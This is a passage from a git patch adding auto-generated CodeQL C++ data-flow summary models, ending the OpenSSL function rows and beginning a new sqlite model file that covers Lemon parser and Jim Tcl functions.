*,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[13]", "Argument[*13]", "taint", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[14]", "Argument[*14]", "taint", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[15]", "Argument[*15]", "taint", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[16]", "Argument[**17].Field[*cbarg]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[1]", "Argument[**17].Field[*propq]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[2]", "Argument[**17].Field[*version]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[3]", "Argument[**17].Field[*role]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[4]", "Argument[**17].Field[*direction]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[5]", "Argument[**17].Field[*level]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[7]", "Argument[**17].Field[*taglen]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[8]", "Argument[**17].Field[*md]", "value", "dfc-generated"] + - ["", "", True, "tls_parse_all_extensions", "(SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int)", "", "Argument[2]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "tls_parse_ctos_alpn", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_client_cert_type", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_cookie", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_ec_pt_formats", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_key_share", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_psk", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_psk_kex_modes", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_server_cert_type", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_server_name", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_sig_algs", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_sig_algs_cert", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_srp", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_status_request", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_ctos_supported_groups", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_extension", "(SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t)", "", "Argument[1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "tls_parse_extension", "(SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t)", "", "Argument[3]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "tls_parse_stoc_alpn", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_parse_stoc_client_cert_type", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_parse_stoc_cookie", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_stoc_ec_pt_formats", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_stoc_key_share", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_stoc_npn", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_parse_stoc_renegotiate", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_parse_stoc_sct", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_parse_stoc_server_cert_type", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_parse_stoc_supported_versions", "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_post_encryption_processing_default", "(OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "tls_post_encryption_processing_default", "(OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *)", "", "Argument[1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "tls_post_encryption_processing_default", "(OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *)", "", "Argument[1]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "tls_prepare_for_encryption_default", "(OSSL_RECORD_LAYER *,size_t,WPACKET *,TLS_RL_RECORD *)", "", "Argument[*3].Field[**data]", "Argument[*3].Field[**input]", "value", "dfc-generated"] + - ["", "", True, "tls_prepare_for_encryption_default", "(OSSL_RECORD_LAYER *,size_t,WPACKET *,TLS_RL_RECORD *)", "", "Argument[*3].Field[*data]", "Argument[*3].Field[*input]", "value", "dfc-generated"] + - ["", "", True, "tls_prepare_record_header_default", "(OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **)", "", "Argument[*4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "tls_prepare_record_header_default", "(OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **)", "", "Argument[4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "tls_prepare_record_header_default", "(OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_certificate_request", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_client_certificate", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_client_hello", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_client_key_exchange", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_client_rpk", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_key_exchange", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_new_session_ticket", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_next_proto", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_rpk", "(SSL_CONNECTION *,PACKET *,EVP_PKEY **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_server_certificate", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_server_hello", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_process_server_rpk", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[**4]", "taint", "df-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "tls_read_record", "(OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *)", "", "Argument[*0]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "tls_set1_bio", "(OSSL_RECORD_LAYER *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*bio]", "value", "dfc-generated"] + - ["", "", True, "tls_set_first_handshake", "(OSSL_RECORD_LAYER *,int)", "", "Argument[1]", "Argument[*0].Field[*is_first_handshake]", "value", "dfc-generated"] + - ["", "", True, "tls_set_max_frag_len", "(OSSL_RECORD_LAYER *,size_t)", "", "Argument[1]", "Argument[*0].Field[*max_frag_len]", "value", "dfc-generated"] + - ["", "", True, "tls_set_max_pipelines", "(OSSL_RECORD_LAYER *,size_t)", "", "Argument[1]", "Argument[*0].Field[*max_pipelines]", "value", "dfc-generated"] + - ["", "", True, "tls_set_options", "(OSSL_RECORD_LAYER *,const OSSL_PARAM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_set_plain_alerts", "(OSSL_RECORD_LAYER *,int)", "", "Argument[1]", "Argument[*0].Field[*allow_plain_alerts]", "value", "dfc-generated"] + - ["", "", True, "tls_setup_write_buffer", "(OSSL_RECORD_LAYER *,size_t,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[*numwpipes]", "value", "dfc-generated"] + - ["", "", True, "tls_unprocessed_read_pending", "(OSSL_RECORD_LAYER *)", "", "Argument[*0].Field[*rbuf].Field[*left]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls_write_records_default", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t)", "", "Argument[*1].Field[*buflen]", "Argument[*0].Field[**compctx].Field[*compress_in]", "taint", "dfc-generated"] + - ["", "", True, "tls_write_records_multiblock", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t)", "", "Argument[*1].Field[*buflen]", "Argument[*0].Field[**compctx].Field[*compress_in]", "taint", "dfc-generated"] + - ["", "", True, "tls_write_records_multiblock", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t)", "", "Argument[2]", "Argument[*0].Field[*sequence]", "taint", "dfc-generated"] + - ["", "", True, "tolower", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "toupper", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ts_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ts_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "unpack_revinfo", "(ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *)", "", "Argument[*4]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "unpack_revinfo", "(ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *)", "", "Argument[*4]", "Argument[**3].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "unpack_revinfo", "(ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "unpack_revinfo", "(ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *)", "", "Argument[4]", "Argument[**0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "unpack_revinfo", "(ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *)", "", "Argument[4]", "Argument[**3].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "v2i_ASN1_BIT_STRING", "(X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *)", "", "Argument[*0].Field[**usr_data].Field[*bitnum]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "v2i_ASN1_BIT_STRING", "(X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *)", "", "Argument[*0].Field[**usr_data].Field[*bitnum]", "ReturnValue[*].Field[*length]", "taint", "dfc-generated"] + - ["", "", True, "v2i_GENERAL_NAMES", "(const X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *)", "", "Argument[*2].Field[*num]", "ReturnValue[*].Field[*num_alloc]", "taint", "dfc-generated"] + - ["", "", True, "v2i_GENERAL_NAME_ex", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "v2i_GENERAL_NAME_ex", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "v2i_GENERAL_NAME_ex", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,CONF_VALUE *,int)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "valid_asn1_encoding", "(const OSSL_CMP_MSG *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "verify_callback", "(int,X509_STORE_CTX *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "verify_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "verify_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "version_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "version_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "wait_until_sock_readable", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "x509_ctrl_string", "(X509 *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**distinguishing_id].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "x509_ctrl_string", "(X509 *,const char *)", "", "Argument[1]", "Argument[*0].Field[**distinguishing_id].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "x509_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "x509_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "x509_req_ctrl_string", "(X509_REQ *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**distinguishing_id].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "x509_req_ctrl_string", "(X509_REQ *,const char *)", "", "Argument[1]", "Argument[*0].Field[**distinguishing_id].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**3].Field[***data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[*0]", "Argument[**3].Field[**data].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[*1]", "Argument[**3].Field[***data].Field[**value]", "value", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[*1]", "Argument[**3].Field[**data].Field[**value]", "value", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**3].Field[***data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[0]", "Argument[**3].Field[**data].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[1]", "Argument[**3].Field[***data].Field[**value]", "taint", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[1]", "Argument[**3].Field[**data].Field[**value]", "taint", "dfc-generated"] + - ["", "", True, "x509v3_add_len_value_uchar", "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] From de31595cd2ef675745da835204d5eb35d834af4f Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Wed, 14 May 2025 11:08:21 +0100 Subject: [PATCH 169/535] C++: Add generated sqlite models. --- cpp/ql/lib/ext/generated/sqlite.model.yml | 990 ++++++++++++++++++++++ 1 file changed, 990 insertions(+) create mode 100644 cpp/ql/lib/ext/generated/sqlite.model.yml diff --git a/cpp/ql/lib/ext/generated/sqlite.model.yml b/cpp/ql/lib/ext/generated/sqlite.model.yml new file mode 100644 index 000000000000..e1e91a4a8488 --- /dev/null +++ b/cpp/ql/lib/ext/generated/sqlite.model.yml @@ -0,0 +1,990 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/cpp-all + extensible: summaryModel + data: + - ["", "", True, "Action_add", "(action **,e_action,symbol *,char *)", "", "Argument[**0]", "Argument[**0].Field[**next]", "value", "dfc-generated"] + - ["", "", True, "Action_add", "(action **,e_action,symbol *,char *)", "", "Argument[*0]", "Argument[**0].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "Action_add", "(action **,e_action,symbol *,char *)", "", "Argument[0]", "Argument[**0].Field[*next]", "taint", "dfc-generated"] + - ["", "", True, "Action_add", "(action **,e_action,symbol *,char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "Configcmp", "(const char *,const char *)", "", "Argument[*0].Field[**rp].Field[*index]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Configcmp", "(const char *,const char *)", "", "Argument[*0].Field[*dot]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Configcmp", "(const char *,const char *)", "", "Argument[*1].Field[**rp].Field[*index]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Configcmp", "(const char *,const char *)", "", "Argument[*1].Field[*dot]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "Configlist_add", "(rule *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**rp]", "value", "dfc-generated"] + - ["", "", True, "Configlist_add", "(rule *,int)", "", "Argument[0]", "ReturnValue[*].Field[*rp]", "value", "dfc-generated"] + - ["", "", True, "Configlist_add", "(rule *,int)", "", "Argument[1]", "ReturnValue[*].Field[*dot]", "value", "dfc-generated"] + - ["", "", True, "Configlist_addbasis", "(rule *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**rp]", "value", "dfc-generated"] + - ["", "", True, "Configlist_addbasis", "(rule *,int)", "", "Argument[0]", "ReturnValue[*].Field[*rp]", "value", "dfc-generated"] + - ["", "", True, "Configlist_addbasis", "(rule *,int)", "", "Argument[1]", "ReturnValue[*].Field[*dot]", "value", "dfc-generated"] + - ["", "", True, "JimDefaultAllocator", "(void *,size_t)", "", "Argument[**0]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "JimDefaultAllocator", "(void *,size_t)", "", "Argument[*0]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "JimDefaultAllocator", "(void *,size_t)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "JimDefaultAllocator", "(void *,size_t)", "", "Argument[0]", "ReturnValue[**]", "taint", "dfc-generated"] + - ["", "", True, "JimDefaultAllocator", "(void *,size_t)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "JimStringReplaceObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "JimStringReplaceObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *,Jim_Obj *,Jim_Obj *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "Jim_AioFilehandle", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[**freeList].Field[*prevObjPtr]", "value", "dfc-generated"] + - ["", "", True, "Jim_AioFilehandle", "(Jim_Interp *,Jim_Obj *)", "", "Argument[1]", "Argument[*0].Field[*freeList]", "value", "dfc-generated"] + - ["", "", True, "Jim_AppendObj", "(Jim_Interp *,Jim_Obj *,Jim_Obj *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "Jim_AppendString", "(Jim_Interp *,Jim_Obj *,const char *,int)", "", "Argument[*2]", "Argument[*1].Field[**bytes]", "value", "dfc-generated"] + - ["", "", True, "Jim_AppendString", "(Jim_Interp *,Jim_Obj *,const char *,int)", "", "Argument[2]", "Argument[*1].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_AppendString", "(Jim_Interp *,Jim_Obj *,const char *,int)", "", "Argument[3]", "Argument[*1].Field[*length]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CallSubCmd", "(Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *)", "", "Argument[*3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CheckShowCommands", "(Jim_Interp *,Jim_Obj *,const char *const *)", "", "Argument[**2]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CheckShowCommands", "(Jim_Interp *,Jim_Obj *,const char *const *)", "", "Argument[**2]", "Argument[*0].Field[**liveList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CheckShowCommands", "(Jim_Interp *,Jim_Obj *,const char *const *)", "", "Argument[*2]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "Jim_CheckShowCommands", "(Jim_Interp *,Jim_Obj *,const char *const *)", "", "Argument[*2]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CheckShowCommands", "(Jim_Interp *,Jim_Obj *,const char *const *)", "", "Argument[*2]", "Argument[*0].Field[**liveList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CheckShowCommands", "(Jim_Interp *,Jim_Obj *,const char *const *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CheckShowCommands", "(Jim_Interp *,Jim_Obj *,const char *const *)", "", "Argument[2]", "Argument[*0].Field[**freeList].Field[**bytes]", "taint", "dfc-generated"] + - ["", "", True, "Jim_CheckShowCommands", "(Jim_Interp *,Jim_Obj *,const char *const 